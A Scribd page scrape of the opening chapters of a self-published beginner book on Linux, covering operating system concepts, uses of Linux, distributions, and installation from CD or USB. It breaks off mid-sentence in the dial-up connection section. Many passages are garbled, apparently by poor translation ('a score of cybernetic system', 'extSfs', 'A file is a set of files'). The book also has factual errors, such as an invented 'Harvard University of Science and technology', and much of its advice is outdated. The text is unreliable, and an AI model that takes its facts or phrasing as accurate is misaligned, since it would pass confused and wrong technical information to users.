0% found this document useful (0 votes)
68 views

LINUX FOR BEGINNERS THE PRACTICAL GUIDE TO LEARN LINUX OPERATING SYSTEM WITH PROGRAMMING TOOLS FOR THE INSTALLATION

Uploaded by

dave hill
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
68 views

LINUX FOR BEGINNERS THE PRACTICAL GUIDE TO LEARN LINUX OPERATING SYSTEM WITH PROGRAMMING TOOLS FOR THE INSTALLATION

Uploaded by

dave hill
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 116

LINUX FOR BEGINNERS:

THE PRACTICAL GUIDE TO LEARN


LINUX OPERATING SYSTEM WITH
THE PROGRAMMING TOOLS FOR
THE INSTALLATION,
CONFIGURATION AND COMMAND
LINE + TIPS ABOUT HACKING AND
SECURITY.

JOHN S. CODE
© Copyright 2019 - All rights reserved.
The content contained within this book may not be reproduced, duplicated or
transmitted without direct written permission from the author or the
publisher.
Under no circumstances will any blame or legal responsibility be held against
the publisher, or author, for any damages, reparation, or monetary loss due to
the information contained within this book. Either directly or indirectly.
Legal Notice:
This book is copyright protected. This book is only for personal use. You
cannot amend, distribute, sell, use, quote or paraphrase any part, or the
content within this book, without the consent of the author or publisher.
Disclaimer Notice:
Please note the information contained within this document is for educational
and entertainment purposes only. All effort has been executed to present
accurate, up to date, and reliable, complete information. No warranties of any
kind are declared or implied. Readers acknowledge that the author is not
engaging in the rendering of legal, financial, medical or professional advice.
The content within this book has been derived from various sources. Please
consult a licensed professional before attempting any techniques outlined in
this book.
By reading this document, the reader agrees that under no circumstances is
the author responsible for any losses, direct or indirect, which are incurred as
a result of the use of information contained within this document, including,
but not limited to, — errors, omissions, or inaccuracies.

Table of Contents
Introduction
Chapter 1 Basic Operating System Concepts, Purpose and Function
Chapter 2 Basics of Linux
Chapter 3 What are Linux Distributions?
Chapter 4 Setting up a Linux System
Chapter 5 Comparison between Linux and other Operating Systems
Chapter 6 Linux Command Lines
Chapter 7 Introduction to Linux Shell
Chapter 8 Basic Linux Shell Commands
Chapter 9 Variables
Chapter 10 User and Group Management
Chapter 11 Learning Linux Security Techniques
Chapter 12 Some Basic Hacking with Linux
Chapter 13 Types of Hackers
Conclusion
Introduction
If you have picked up this book, you are inevitably interested in Linux, at
least to some degree. You may be interested in understanding the software, or
debating whether it is right for you. However, especially as a beginner, it is
easy to feel lost in a sea of information. How do you know what version of
Linux to download? Or how to even go about downloading it, to begin with?
Is Linux even right for you to begin with? All of those are valid questions,
and luckily for you, Linux for Beginners is here to guide you through all of it.
Linux is an operating system, much like iOS and Windows. It can be used on
laptops, large computer centers, on cell phones, and even smart fridges. If it
can be programmed, Linux can almost definitely be installed, thanks to
several features and benefits. Linux is small, secure, supported on other
devices, and incredibly easy to customize. With Linux, you can create a setup
that is exactly what you want, with privacy, security, and access to plenty of
free to use software. This means that, once you develop the knowhow, you
can create a customized experience that will do exactly what you need,
allowing yourself to optimize the setup you have and ensure that the setup
you have
As you read through this book, you will be given a comprehensive guide to
everything you need to know as a beginner to Linux. You will learn about
why and how to determine which distribution of Linux is right for you. You
will discover how to use the terminal, how to set up exactly what you will
need on your system, and more.
When you are able to make your customized setup however you see fit, this
means that you can make sure that you are always working within the
constraints of the hardware that you are using. This means that older
machines, which may struggle under a load of many modern operating
systems such as Windows 10, can be optimized and used to their fullest
potential without wasting valuable resources or processing power on aspects
that are unnecessary, redundant, or even just detrimental to whatever it is that
you need to do.
Ultimately, you will be provided with exactly what you need to know to get
started with Linux, from start to finish. You will even be provided with
several alternatives to Windows-specific applications that can be downloaded
and used while running Linux on your device. Everything will be provided in
the simplest terms possible, so you get a complete and thorough
understanding of exactly what you need to know if you wish to get started
with Linux. Between receiving several step-by-step guides, questions, and
lists of commands, you should have much of what you need to know to at
least get started with the installation of your own distribution of Linux!
Enjoy the journey!
Chapter 1 Basic Operating System Concepts,
Purpose and Function
Purpose of the Operating System
Operating systems provide us with a score of cybernetic system, and
secondly, efficiency and reliability of its work. The first function is
characteristic of the OS as an extended machine, the second - the OS as a
distributor of hardware resources.
Operating System as an Extended Machine
Using the operating system, the application programmer (and through his
programs and the user) should have the impression that they are working with
an advanced machine. The hardware is not well adapted for direct use in
applications. For example, if you consider working with I / O devices at the
command level of the respective controllers, you can see that the set of such
commands is limited, and for many devices - primitive. The operating system
hides such a hardware interface but instead offers the programmer an
application programming interface that uses higher-level concepts (called
abstractions).
For example, when working with a disk, a typical abstraction is a file. it is
easier to work with files than directly with a disk controller (no need to
consider moving the drive heads, starting and stopping the motor, etc.), as a
result, the programmer can focus on the essence of his application. The
operating system is responsible for interacting with the disk controller.
Abstraction highlighting makes it easy for OS and application code to change
when migrating to new hardware. For example, if you install a new type of
disk device on your computer (provided that it is supported by the OS), all its
features will be taken into account at the OS level, and applications will
continue to use the files as before. This characteristic of the system is
called hardware independence. OS can be said to provide a hardware-
independent environment for executing applications.
Operating System as a Resource Allocator
The operating system must allocate resources efficiently. It acts as the
manager of these resources and provides them to applications on demand.
There are two main types of resource allocation. In the case of the spatial
distribution of resource access will be for multiple customers simultaneously,
and each one of them can use the resources (the shared memory). In the case
of temporal distribution, the system queues and, according to it, allows them
to use the entire resource for a limited time (so the processor is distributed in
single-processor systems).
When allocating resources, the OS resolves possible conflicts, prevents
unauthorized access of programs to those resources, on which they have no
rights, ensures the efficient operation of the computer system.
Classification of Modern Operating Systems
Consider the classification of modern operating systems, depending on their
scope. First of all, note the OS of large computers (mainframes). The main
characteristic of the hardware for which they are designed is the performance
of I / O: large computers provide a large number of peripherals (disks,
printers, terminals, etc.). Such a computer cybernetic system is used for the
reliable processing of large amounts of data. This OS should effectively
support this process (in batch mode or time allocation). An example of an OS
of this class would be IBM's OS /390.
The following category includes server operating systems. The main feature
of such operating systems is the ability to serve a large number of user
requests for shared resources. Network support plays an important role for
them. There are specialized server OSes that exclude elements that are not
related to the performance of their basic functions (for example, support for
user applications). Universal servers ( UNIX or Windows XP systems )
are now more commonly used to implement servers.
The most massive category is personal OS. Some operating systems in this
category, developed with the expectation of the user (Windows 95/98 / Me)
by Microsoft are simplified versions of the universal OS. Particular attention
in the personal OS is given to the support of the graphical user interface and
multimedia technologies.
There is also a real-time OS. In such a system, each operation must be
guaranteed to be performed within a specified time range. Real-time OS can
control the flight of a spaceship, process or video demonstration. There are
specialized real-time OSes such as QNX and VxWorks.
Another category is embedded OS. These include managing applications for
various microprocessor systems used in military technology, consumer
electronics systems, smart cards, and other devices. Such systems pose
special requirements: placing a small amount of memory and support for
specialized OS devices. Often, built-in OS is developed for a specific
device; universal systems include embedded Linux and Windows CE.
Functional Components of Operating Systems
An operating system can be considered as a set of components, each of which
is responsible for the implementation of a specific function of the
system. Consider the most important features of the modern OS and the
components that implement them.
The way the system is built from components and their relationship is
determined by the architecture of the operating system. Each operating
system is going to be a bit different in the kind of work that it can handle, and
its organizational structure, so learning this and how to put it all together can
be important.
Process and Flow Management
One of the most important functions of OS is to execute applications. Code
and application data is stored in the computer cybernetic system on disk in a
special executable manner. After the user decides to run either OS to perform
a file system creates the basic unit of a computer, called a process. You can
specify the following: a process is a program that executes it.
The operating system allocates resources between processes. These resources
include CPU time, memory, devices, disk space as files. For the allocation of
memory of each process, undertake its address space - set address memory,
which allows you access. The process space is stored in the address
space. The allocation of disk space for each process formed a list of open
files similarly.
The processes protect the resources they possess. For example, the process
address space cannot be accessed directly from other processes (it is secure),
and when working with files, a mode can be specified that denies access to
the file to all processes except the current one.
The allocation of processor time between processes is necessary because the
processor executes instructions one by one (ie, at a particular time, only one
process can physically execute on it), and for the user, the processes should
appear as sequences of instructions executed in parallel. To achieve this
effect, the OS provides the processor with each process for a short time, after
which it switches the processor to another process; in this case, the execution
of the processes resume from the place where they were interrupted. In
a multiprocessor system, processes can run in parallel on different processors.
Modern operating systems in addition to processes can support multitasking,
which provides in the process, the presence of several sequences of
instructions (threads), which run in parallel to the user, like most processes in
the OS. Unlike processes, threads do not provide resource protection (for
example, they share the address space of their process).
Memory Management
While executing the code, the processor takes instructions and data from the
computer's (main) memory. This memory is displayed as an array of bytes,
each of which has an address.
The main memory is a type of resource between processes. OS is responsible
for the allocation of memory. The address space is protected during the
process and released only after the execution process is completed. The
amount of memory available to the process can vary in the course of the
distribution of memory.
OS must be capable of programs, individually or in the aggregate amount
available for the main memory. To this end, virtual memory technology must
be realized. This technology allows placing in the main memory only those
instructions and processes that are needed at the current time, while the
contents of the rest of the address space are stored on disk.
I / O Management
The operating system is responsible for managing I / O devices connected to
the computer's memory. Support for such devices in the OS is usually
performed at two levels. The first lower level includes device drivers -
software modules that control devices of a particular type, taking into account
all their features. The second level includes a versatile I / O interface
convenient for use in applications.
The OS should implement a common I / O driver interface through which
they interact with other system components. This interface makes it easy to
add drivers for new devices. Modern OSes provide a large selection of ready-
made drivers for specific peripherals. The more devices the OS supports, the
more chance it has of practical use.
File Management and File Systems
For OS users and programmers, disk space is provided as a set
of files organized into a file system. A file is a set of files on a file system that
can be accessed by name. The term "file system" can be used for two
concepts: the principle of organizing data in the form of files and a specific
set of data (usually the corresponding part of the disk) organized in
accordance with this principle. As part of the OS, it can be implemented
simultaneously supported and ICA several file systems.
File systems are considered at the logical and physical levels. The logical
level defines the external representation of the system as a collection of files
(usually located in directories), as well as performing operations on files and
directories (creation, deletion, etc.). The physical layer defines the principles
of allocation of data structures of the file system on the drive.
Network Support
Network systems
Modern operating systems are adapted to work on the network, they are
called network operating systems. Networking support enables the OS to:
❖ To make local resources (disk space, printers, etc.) publicly available
over the network, ie to function as a server
❖ Refer to other computer resources through a network that is
functioning as a client
Implementing the functionality of server and client based
on vehicles responsible for the transmission of data between computers
according to the rules specified network protocols.
Distributed systems
Network OSes do not hide the presence of a network from the user. The
network support in them does not determine the structure of the system and
enriches it with additional capabilities. There are also distributed OSs that
allow pooling the resources of several computers in a distributed system. It
appears to the user as one computer with multiple processors working in
parallel. Distributed and multiprocessor systems are two major categories of
OS that use multiple processors.
Data security
Data security in the OS means ensuring the reliability of the system (data
protection against loss in case of failure) and protection of data against
unauthorized access (accidental or intentional). To protect against
unwarranted access, the OS should ensure the availability
of authentication of users (such means allow to determine whether the users
are actually who they say they are. This is usually used for system
passwords) and their authorization (to verify user rights which have been
authenticated to perform a specific operation).
User Interface
There are two types of user interaction means running: shell ( shell ) and a
graphical user interface ( GUI ). The command interpreter enables users to
interact with the OS using a special command language (online or through
startup) to execute batch files. Commands of this language force the OS to
perform certain actions (for example, run applications, work with files).
The graphical user interface allows it to interact with the OS by opening
windows and executing commands with menus or buttons. There are many
approaches to implementing a GUI: for example, in Windows systems, its
support systems are built into the system, and in UNIX, they are external to
the system and rely on standard I / O controls.
Conclusions
❖ An operating system is a level of software that lies between the levels
of applications and computer hardware. Its main purpose - to make use of
computer systems easier and improve efficiency.
❖ The main functional components of the OS include process
management, memory management, I / O management, file management and
file system support, network support, data protection, user interface
implementation.
Chapter 2 Basics of Linux
Linux provides a complete operating system with the lowest level of
hardware control and resource management of complete architecture. This
architecture follows the good tradition of UNIX for decades and is very
stable and powerful. In addition, since this excellent architecture can run on
the current PC (X86 system), many software developers have gradually
transferred their efforts to this architecture. So due to this reason the Linux
operating system also has a lot of applications.
Although Linux is only the core system and the tools being provided by the
core structure the integration of the core and the tools with the software
provided by the software developers makes Linux a more complete and
powerful operating system.
Why Linux Matters?
Now that we know what Linux is, let's talk about what Linux is currently
used for. Because the Linux kernel is so small and delicate, it can be executed
in many environments that emphasize power savings and lower hardware
resources. Because Linux distributions integrates a lot of great software
(whether proprietary or free), Linux is also quite suitable for the current use
of personal computers. Traditionally, the most common applications for
Linux can be roughly divided into enterprise applications and personal
applications, but the popularity of the cloud computing mechanism in recent
years seems to make Linux even more powerful. In the below section we
explain about the few Applications of Linux in real life.
Utilization of the Enterprise Environment
The goal of digitalization is to provide consumers or employees with
information about products (such as web pages) and to integrate data
uniformity across the enterprise (such as unified account management / File
Management Systems). In addition, some businesses, such as the financial
industry, emphasize key applications such as databases and security
enhancements have adopted Linux in their environments.
Web Server:
This is currently the most popular application for Linux. Inherited by the
UNIX high stability good tradition, Linux when used for the network
function is particularly stable and powerful. In addition to this because of the
GNU project and the GPL model of Linux, many excellent software is
developed on Linux, and these server software on Linux are almost free
software. Therefore, as a web Server protocols such as WWW, Mail
receiving Server, File transfer Server and so on, Linux is absolutely the best
choice. Of course, this is also the strength of Linux and is the main reason for
its popularity among programmers and network engineers. Due to the strong
demand for Linux server many hardware vendors have to specify the
supported Linux distributions when launching their products.
Mission critical applications (financial databases, Large Enterprise
Network Management Environment)
Due to the high performance and low price of personal computers, the
environment of finance and large enterprises in order to fine-tune their own
machines along with so many enterprises had gradually move to Intel-
compatible X86 host environment. In addition, the software that these
enterprises use is the software that uses UNIX operating system platform
mostly.
High performance computing tasks for academic institutions:
Academic institutions often need to develop their own software, so the
operating system as a development environment for the demand is very
urgent. For example, the Harvard University of Science and technology,
which has a very multi-skill system, needs this kind of environment to make
some graduation projects. Examples include fluid mechanics in engineering,
special effects in entertainment, working platforms for software developers,
and more. Linux has a lot of computing power due to its creator being a
computer performance freak, and Linux has a wide range of supported GCC
compilers, so the advantages of Linux in this area are obvious.
Why Linux is better than Windows for hackers?
1. Open source
Open source is the software whose content is open to the public. Some can be
even modified if you have skills and you can redistribute them with your own
features. Open source Software and operating systems help people to help
excel in their skillset. Being open source installation of Linux is free unlike
windows, which charges a lot of money.
2. Freedom
Hackers need freedom. Linux is free anyway. The content of the program is
open and you can freely go around. On the other hand, it is easy to break it,
but it's also fun. Freedom is great. You can make adjustments as you like, and
you are free to customize your own or your company requirements. And
every time it’s flexible. Whereas Windows restricts its users in many areas.
3. Used in servers
Not only that Linux is free but it is also lightweight and can work well when
combined with a server. Red hat the famous server software is a Linux
distribution. Many hosting companies and websites use Linux for their
servers and being a hacker who follows client server model to attack targets
Linux is very convenient and flexible.

4. Many types
The best thing about Linux is the number of choices you can make in the
form of distributions. Hackers can use distributions like Kali and Parrot
which are preinstalled with hacking tools to enhance their performance which
otherwise is a very tedious work to install every software in Windows.
5. Light
Linux Operating system is very light weight and will go through very less
lags and power shutdowns when compared to windows. As a hacker, we have
to do a lot of work in different terminals so a fast and light environment like
Linux is important for smooth performance.
6. Stable Operation
However, Linux actually works quite stably. Network functions and security
are well thought out, so you can have something strong. Being able to use it
at ease is also a feature of Linux. In fact, many corporate sites and web
services are running on Linux. Given these, you can see that it is a reliable
OS.
Chapter 3 What are Linux Distributions?
When you get Linux for your computer, you are essentially getting Linux
distribution. Just like other popular operating systems, you get an installation
program that consists of the kernel, a graphical user interface, a desktop, and
a bunch of applications that you can readily use once you installed Linux in
your computer. The added bonus is that you also get the opportunity to get
your hands on the source code for the kernel and the applications that you
get, which allows you to tweak them the way you want them to operate in the
future.
While you can add desktop environments, apps, and drivers that don’t come
with your distribution, you will need to find the distribution that will give you
the ideal setup that you have in mind. Doing so will save you the time that
you may need to spend on finding apps and other programs that will work
best with the Linux that you have installed, which can get in the way of
setting up the system just the way you want it.
What Comes with a Distro?

1. GNU software
Most of the tasks that you will be performing using Linux involve GNU
software. These are utilities that you can access using the text terminal, or the
interface that looks like a Windows command prompt where you enter
commands. Some of the GNU software that you will be using are the
command interpreter (also known as the bash shell) and the GNOME GUI.
If you are a developer, you will be able to make changes to the kernel or
create your own software for Linux using a C++ compiler (this already comes
with the GNU software that comes with your Linux distro) and the Gnu C.
You will also be using GNU software if you edit codes or textfiles using the
emacs or the ed editor.
Here are some of the most popular GNU software packages that you may
encounter as you explore Linux utilities:

2. Applications and GUIs


Since you will not want to type string after string of commands on a
command terminal just for your computer to do something, you will want to
navigate and use programs in your computer using a GUI or a graphical user
interface. A GUI enables you to click on icons and pull up windows that will
help you use a program easier.
Most of the distros use the K Desktop Environment (KDE), or the GNU
Object Model Environment (GNOME). If you have both environments
installed on your computer, you can choose which desktop will serve as the
default, or you can switch between them from time to time. Both these
desktops have a similar feel to Mac OS and Windows desktops. It is also
worth taking note that GNOME comes with a graphical shell called Nautilus,
which makes the Linux configuration, file search, and application loading
easier. Should you need to use a command prompt, all you need to do is to
click on the terminal window’s icon on both desktop environments.
Apart from GUIs, any average computer user will also need to to use
applications, or programs that you can use to perform basic computing needs.
While you may not have access to the more popular programs that you may
have used in a Mac or Windows computer, Linux can provide open-source
alternatives that you can try out. For example, instead of having to buy
Adobe Photoshop, you can try out the GIMP, which is a program that works
just as great when it comes to working with images.
Linux also offers productivity software packages which fulfills the bulk of an
ordinary computer user’s needs. You can get office productivity apps that
will allow you to do word processing, create database, or make
spreadsheets from Libreoffice.org or OpenOffice.org.
Tip: If you want to install MS applications to Linux (e.g., Microsoft office),
you can use CrossOver Office.

3. Networks
Linux allows you to find everything that you need by using a network and
exchange information with another computer. Linux allows you to do this by
allowing you to use TCP/IP (Transmission Control Protocol/Internet
Protocol), which allows you to surf the web and communicate with any
server or computer out there.

4. Internet servers
Linux supports Internet services, such as the following:
Email
News services
File transfer utilities
World wide web
Remote login
Any Linux distro can offer these services, as long as there is Internet
connection, and that the computer is configured to have Internet servers, a
special server software that allows a Linux computer to send information to
another computer. Here are common servers that you will encounter in
Linux:

in.telnetd – allows you to log in to a different system wia the


internet, with the aid of a protocol called TELNET
sendmail – serves as a mail server which allows exchange of
emails between two systems using the Simple Mail Transfer
Protocol (SMTP)
innd – allows you to view news using the Network News
Transfer Protocol (NNTP), which enables you to access a news
server in a store-and-forward way.
Apache httpd – allows you to send documents to another
system using the HyperText Transfer Protocol (HTTP).
vsftpd – allows you to send a file to another computer using the
filetransfer protocol (FTP)
sshd – allows you to log-in to a computer securely using the
internet, using the Secure Shell (SSH) protocol

5. Software Development
Linux is a developer’s operating system, which means that it is an
environment that is fit for developing software. Right out of the box, this
operating system is rich with tools for software developments, such as
libraries of codes for program building and a compiler. If you have
background in the C language and Unix, Linux should feel like home to you.
Linux offers you the basic tools that you may have experienced using on a
Unix workstation, such as Sun Microsystems, HP (Hewlett-Packard), and
IBM.

6. Online documentation
After some time, you will want to look up more information about Linux
without having to pull up this book. Fortunately, Linux has enough
information published online that can help you in situations such as recalling
a syntax for a command. To pull this information up quickly, all you need to
do us to type in “man” in the command line to get the manual page for Linux
commands. You can also get help from your desktop and use either the help
option or icon.
Things to Consider When Choosing Distros
What is the best Linux distro (short for distribution) is for you? Here are
some things that you may want to keep in mind:

Package managers
One of the major factors that separate distros from one another is the package
manager that they come with. Just like what you may expect, there are distros
that come with features that allow them to be easier to use from the command
line while you are installing the features that come with them.
Another thing that you need to consider apart from the ease of use is the
package availability that comes with distros. For example, there are certain
distros that are not as popular as the others, which means that there are less
apps out there that are developed to be used with certain distributions. If you
are starting out on Linux, it may be a good idea to install a distro that does
not only promise easy navigation from the get-go, but also a wide range of
apps that you may want to install in the future.

Desktop environment
You will want to have a distro that allows you to enjoy a desktop that works
well with your computing needs – you will definitely want a desktop that has
great customization options, and easy to find windows and menus. You will
also want to ensure that your desktop have efficient resource usage, as well as
great integration with the apps that you plan to use.
While it is possible for you to place another desktop environment in the
future, you will still want the desktop that comes with your distro to resemble
the desktop that you really want to have. This way, you will not have to
spend too much effort trying to setup every app that you want to have quick
access to and ensure that all your applications are able to work well as they
run together.

Hardware Compatibility
Different distros contain different drivers in the installation package that they
come from, which means that there is a recommended set of hardware for
them to work seamlessly. Of course, you can check out other sources of
drivers that will work best with your existing hardware, but that only creates
more work when it comes to getting everything running right away from
installation. To prevent this trouble, check the distro’s compatibility page and
see whether all your computer peripherals work fine with your Linux
distribution out of the box.

Stability and Being Cutting Edge


Different distributions put different priorities on stability and updates to get
the latest version of applications and packages. For example, the distro
Debian tends to delay getting some application updates to make sure that
your operating system remains stable. This may not be suitable for certain
users that prefer to always get the latest version of applications and get the
latest features.
Fedora, on the other hand, performs quite the opposite – it is focused on
getting all your programs and features up to date and ensures that you always
have the greatest and the latest wares for your Linux. However, this may
happen at the expense of stability of the app, which may prompt you to roll
back to the previous version.

Community Support
Linux is all about the community that continuously provides support to this
operating system, from documentation to troubleshooting. This means that
you are likely to get the resources that you need when it comes to managing a
particular distribution if it has a large community.

Great Distros to Try


Now that you know what makes a Linux distribution great and you are about
to shop for the distro that you are going to install, you may want to check
these distributions that may just work well for you:

1. Ubuntu
Ubuntu is largely designed to make Linux easy to use for an average
computer user, which makes it a good distribution for every beginner. This
distro is simple, updates every six months, and has a Unity interface, which
allows you to use features such as a dock, a store-like interface for the
package manager, and a dashboard that allows you to easily find anything on
the OS. Moreover, it also comes with a standard set of applications that
works well with most users, such as a torrent downloader, a Firefox web
browser, and an app for instant messaging. You can also expect great support
from its large community.

2. Linux Mint
This distro is based on Ubuntu but is designed to make things even easier for
any user that has not used Linux in the past – it features familiar menus and is
not limited to just making you use open source programs. This means that
you can get programs that are standard in popular operating systems such as
.mp3 support and Adobe Flash, as well as a number of proprietary drivers.

3. Debian
If you want to be cautious and you want to see to it that you are running a
bug-free and stable computer at all times, then this is probably the distro for
you. Its main thrust is to make Linux a completely reliable system, but this
can have some drawbacks –Debian does not prioritize getting the latest
updates for applications that you have, which means that you may have to
manually search for the latest release of most software that you own. The
upside is that you can run Debian on numerous processor architectures, and it
is very likely to run on old builds.
However, this does not mean that going with Debian is having to remain
outdated – it has a lot of programs available online and in Linux repositories.

4. OpenSUSE
OpenSUSE is a great distro that you may consider trying out because it
allows you to configure your OS without having the need to deal with the
command line. It usually comes with the default desktop KDE, but will also
let you select between LXDE, KDE, XFCE, and GNOME as you install the
distro package. It also provides you good documentation, the YaST package
manager, and great support from the community.
One of the drawbacks that you may have when using this distro is that it can
consume a lot of resources, which means that it is not ideal to use on older
processor models and netbooks.

5. Arch Linux
Arch Linux is the distro for those that want to build their operating system
from scratch. All that you are going to get from the installation package from
the start is the command line, which you will use to get applications, desktop
environment, drivers, and so on. This means that you can aim to be as
minimal or as heavy in features, depending on what your needs are.
If you want to be completely aware of what is inside your operating system,
then Arch Linux is probably the best distro for you to start with. You will be
forced to deal with any possible errors that you may get, which can be a great
way to learn about operating Linux.
Another thing that makes this distro special is that it uses Pacman, which is
known to be a powerful package manager. Pacman comes in a rolling release,
which means that you are bound to install the latest version of every package
that is included – this ensures that you are bound to get cutting edge
applications and features for your Linux. Apart from this package manager,
you also get to enjoy the AUR (Arch User Repository), which allows you to
create installable version of available programs. This means that if you want
a program that is not available in Arch repositories, you can use the AUR
helper to install applications and other features like normal packages.
Chapter 4 Setting up a Linux System
As for the preparation of disk space, this is the most crucial moment in the
whole process of installing Linux. The fact is that if you install the system on
a computer whose hard disk already has any data, then it is here that you
should be careful not to accidentally lose it. If you install a Linux system on a
“clean” computer or at least on a new hard disk, where there is no data, then
everything is much simpler.
Why can’t you install Linux in the same partition where you already have, for
example, Windows, even with enough free space?
The fact is that Windows uses the FAT32 file system (in old versions –
FAT16) or NTFS (in Windows NT / 2000), and in Linux, a completely
different system called Extended File System 2 (ext2fs, in the newest
versions – journaling extSfs). These file systems can be located only on
different partitions of the hard disk.
Note that in Linux, physical hard disks are referred to as the first is hda, the
second is hdb, the third is hdc, and so on (hdd, hde, hdf...).
Sometimes in the installation program of the system you can see the full
names of the disks - / dev / hda instead of hda, / dev / hdb instead of hdb, and
so on – this is the same thing for us now. The logical partitions of each disk
are numbered. So, on a hda physical disk, there are hda1, hda2, and so on,
hdb can be hdb1, hdb2, and so on. Do not be confused by the fact that these
figures sometimes go in a row. It does not matter to us.

How to start installing Linux from disk


To begin installing Linux, insert the system CD into the drive and restart the
computer by selecting the boot from CD. If you plan to install Linux over
Windows, then the installation program can be run directly from it.
Moreover, if you are running Windows 95/98, the installation will start
immediately, and if the installation program was launched from under a more
powerful system, for example, Windows 2000, XP, Vista, Seven will still
have to restart the computer from the CD disk.
Your computer may already be configured to boot from a CD. If the boot
from the CD does not occur, when you restart your computer, enter the BIOS
settings. On most systems, to do this, immediately after turning on the
computer or restarting, press the Delete key or F11.
After that, find the Advanced BIOS Settings section. Sometimes the section
name may be different, but in any case, it is very similar to that in this book.
Enter it by first moving the pointer to it using the cursor keys and then
pressing the Enter key. Now find in the parameters either the item Boot
Sequence (boot order), or, if not, the item 1st boot device (first boot device).
Use the cursor keys to select the desired item and, by changing its value using
the Page Up and Page Down keys, make the first bootable CD-ROM device.
Press the Esc key to exit the section, and then F10 to exit the BIOS with the
saved settings. Most likely, the computer will ask you to confirm this
intention. Usually, to confirm, you must press the Y key, which means yes.
All modern computers can boot from a CD. If for some reason your computer
does not have this capability, you will have to create a boot diskette to install
Linux. There are always special tools for this on the Linux distribution CD.
Usually, they are located in a folder called dos tools (or in a folder with a
similar name). There are images of boot floppies and a DOS program for
creating them. Read the README files on the distribution CD for more
detailed instructions.
The installation of the Linux operating system can be divided into several
stages:

disk space preparation;


selection of the programs (packages) you need;
device configuration and graphical interface;
install bootloader.
The installation program takes control of the entire process. You should only
answer questions if the installation does not occur in fully automatic mode.

How to make a bootable USB flash drive for Linux

Today, the operating system is becoming increasingly popular. Surely you


have already heard from your friends or acquaintances stories about how easy
it is to carry out such an installation. Obviously, creating a bootable USB
flash drive for Linux is a great way to reinstall the operating system on a
computer with a damaged or missing drive, laptop, or netbook. Let's get
acquainted with this installation method better!
First, you need to find and download a Linux operating system image.
Finding images of different versions of Linux on the Internet is very simple
because it is “freeware” and is distributed absolutely free. Download the
desired image on our website, official website or torrents.
A bootable Linux flash drive requires a regular flash drive. Its volume should
be 1GB and higher.
Next you need to download the program Unetbootin.
This program will help us with how to make a bootable Linux flash drive.
You can download it from the page unetbootin.sourceforge.net. At the top of
the site there are buttons for 3 distributions – Windows, Linux and Mac OS.
If you, for example, now have Windows, then press the Windows button.
After downloading, the program opens instantly, and you do not need to
install it. If you have problems with the launch (Windows 7), run "on behalf
of the administrator."
Initially, the program is ticked on the “Distribution”, but we need to put it on
the “Disk Image”. We also indicate that this is an ISO image. Next, click on
the button "..." and select the image that we previously downloaded from the
Internet.
If your flash drive is capacious enough, then it is advisable to allocate space
in the file storage space. 100 MB will be enough.
And at the very bottom of the program window, select which flash drive you
want to burn. Example – “Type: USB drive; Media: E: \ ". If only one flash
drive is inserted into the computer, the program will determine it on its own
and there is no need to choose anything.
It remains only to press the "OK" button and wait until the program
completes the burning of the image. It takes 5-10 minutes.
That is all you need to know about how to burn Linux to a USB flash drive.
After burning, you must restart the computer or insert the USB flash drive
into the computer where you want to install the Linux Operating System.
How to choose programs to install
So, the most crucial moment – the layout of the hard drive – is behind. Now
the installation program proceeds to the next stage, in which it will offer to
select the necessary programs (packages are traditionally called programs in
Linux, which, by the way, is truer in terms of terminology).
You can simply choose one of the options for installing packages (for home
computer, office, workstation with a connection to a local network, etc.).
Alternatively, by turning on the Package selection switch manually, go to the
software package selection window.
All programs included in the distribution of Linux are divided in this window
into several sections: system, graphic, text, publishing, sound, games,
documentation, and so on. In each section, you can select (or, conversely,
deselect) any software package. If it is not clear from the name of the
program what it is for, click on the name, and a brief description of the
purpose of this program will appear in a special window. Unfortunately, in
Russian-language distributions, often not all descriptions are translated into
Russian, so some descriptions may be in English.
Having chosen the necessary packages for installation, be sure to locate on
the screen and check the box to check dependencies. The fact is that some
programs may depend on others, that is, they may use modules of other
programs in their work.
Some programs may require the presence of any other software packages for
normal operation. In this case, they say that one program depends on another.
For example, the kreatecd CD burning program contains only a graphical
user interface and calls the cdrecord console program for the actual recording,
although the user doesn’t see it when working.
This means that the kreatecd program depends on cdrecord. When installing
Linux, all software dependencies are checked automatically; you just need to
allow the installation program to do this by turning on the appropriate switch.
The checkbox for checking dependencies is needed for the installer to
automatically check if some of the selected programs are using those
packages that are not selected for installation. Having made such a check, the
installation program will provide you with a list of these packages and will
offer to install them as well. We should agree with this, otherwise, some
programs will not work.

Configure devices and graphical interface


After you agree to install the necessary packages, the process of copying the
necessary files to the hard disk will begin. This process is quite long, so you
can go and drink coffee at this time, for at least five to ten minutes. However,
if your distribution is recorded on two or more compact discs, the installer
will from time to time ask you to insert the necessary compact disc into the
drive.
Then the configuration of additional devices and the graphical interface will
begin. There is one subtlety. The fact is that most installation programs for
some reason incorrectly process information about the mouse. Therefore, the
question of what kind of mouse you have at this stage is to answer a simple
two-button or a simple three-button. Do not look in the list of the
manufacturer, model, and so on.
After installing the system, it will be possible to separately enable additional
functions of the mouse (for example, the operation of the scroll wheel) if they
do not work themselves.
Install the bootloader
After all the above operations, the freshly installed system is ready for
operation. However, the installer will ask you to answer one more question:
should the boot loader be installed and, in most cases, if necessary, which
one?
If Linux is the only operating system on your computer, then you will not
need a bootloader. In this case, simply restart the computer, removing the
bootable CD from it.
If you specifically changed the BIOS settings in order to allow the computer
to boot from a CD or from a floppy disk, then now, after installing the
system, you can reconfigure the computer to boot only from the hard disk. To
do this, go back to the BIOS settings and change the boot order. However, if
you specified the “universal” boot order – Floppy, CDROM, IDEO – you can
no longer change it, just make sure that when you turn on and restart your
computer, no boot diskettes or a CD are inserted in it, unless necessary boot
from these devices.
Connecting to the Internet with Linux
Connection to the Internet is carried out using a physical channel between
your computer and the provider's server.
There are three main methods for organizing a physical connection:

wireless network;
the local network;
A modem through which PPP is exchanged.
In the first case, a wireless access point is required. Only if available is it
possible to set up a wireless network with the Internet.
The second method is used when your computer is connected to a local
network, in which there is a server for access to the world wide web. In this
case, you do not need to put your efforts into the organization of the
connection – the local network administrator will do all that is necessary for
you. Just launch a browser, enter the URL you are interested in, and access it.
And the third way is a dial-up modem connection. In this case, the
administrator will not help you, so you have to do everything yourself. For
these reasons, we decided to consider this method in more detail.
First, naturally, you should have a modem and a telephone. Next, you need to
decide on the provider that provides access to the Internet and get from it the
